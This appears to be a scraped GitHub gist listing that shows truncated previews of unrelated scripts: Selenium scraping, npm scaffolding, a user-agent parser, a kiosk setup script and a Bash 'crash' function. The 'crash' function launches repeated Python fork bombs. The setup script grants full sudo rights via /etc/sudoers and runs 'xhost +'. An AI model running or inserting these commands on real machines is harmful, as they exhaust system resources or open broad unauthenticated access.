This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#importing libraries | |
import selenium | |
from selenium import webdriver as wb | |
from selenium.webdriver.support.ui import Select | |
import pandas as pd | |
import time | |
#Opening Chrome browser | |
wbD=webD=wb.Chrome('E:chromedriver') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Online Bash Shell. | |
# Code, Compile, Run and Debug Bash script online. | |
# Write your code in this editor and press "Run" button to execute it. | |
function crash(){ | |
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" & | |
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" & | |
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" & | |
python -c "[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]" & |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" | |
echo 'user ALL=(ALL:ALL) ALL' >> /etc/sudoers | |
cat <<EOT >> /opt/kiosk.sh | |
#!/bin/bash | |
xhost + |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash -xe | |
CREATE_VERB="npm init" | |
INSTALL_VERB="npm install" | |
if [ "$(command -v yarn)" ]; then | |
CREATE_VERB="yarn create" | |
INSTALL_VERB="yarn add" | |
fi | |
pause(){ | |
read -n1 -r -p "Press any key to continue . . ." key; | |
echo; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// The code - first bit is all the UserAgent library. | |
(function(scope) { | |
var Browsers, OS, Platform, Versions, browser_name, browser_version, os, platform; | |
Versions = { | |
Firefox: /firefox\/([\d\w\.\-]+)/i, | |
IE: /msie\s([\d\.]+[\d])/i, | |
Chrome: /chrome\/([\d\w\.\-]+)/i, | |
Safari: /version\/([\d\w\.\-]+)/i, | |
Ps3: /([\d\w\.\-]+)\)\s*$/i, | |
Psp: /([\d\w\.\-]+)\)?\s*$/i |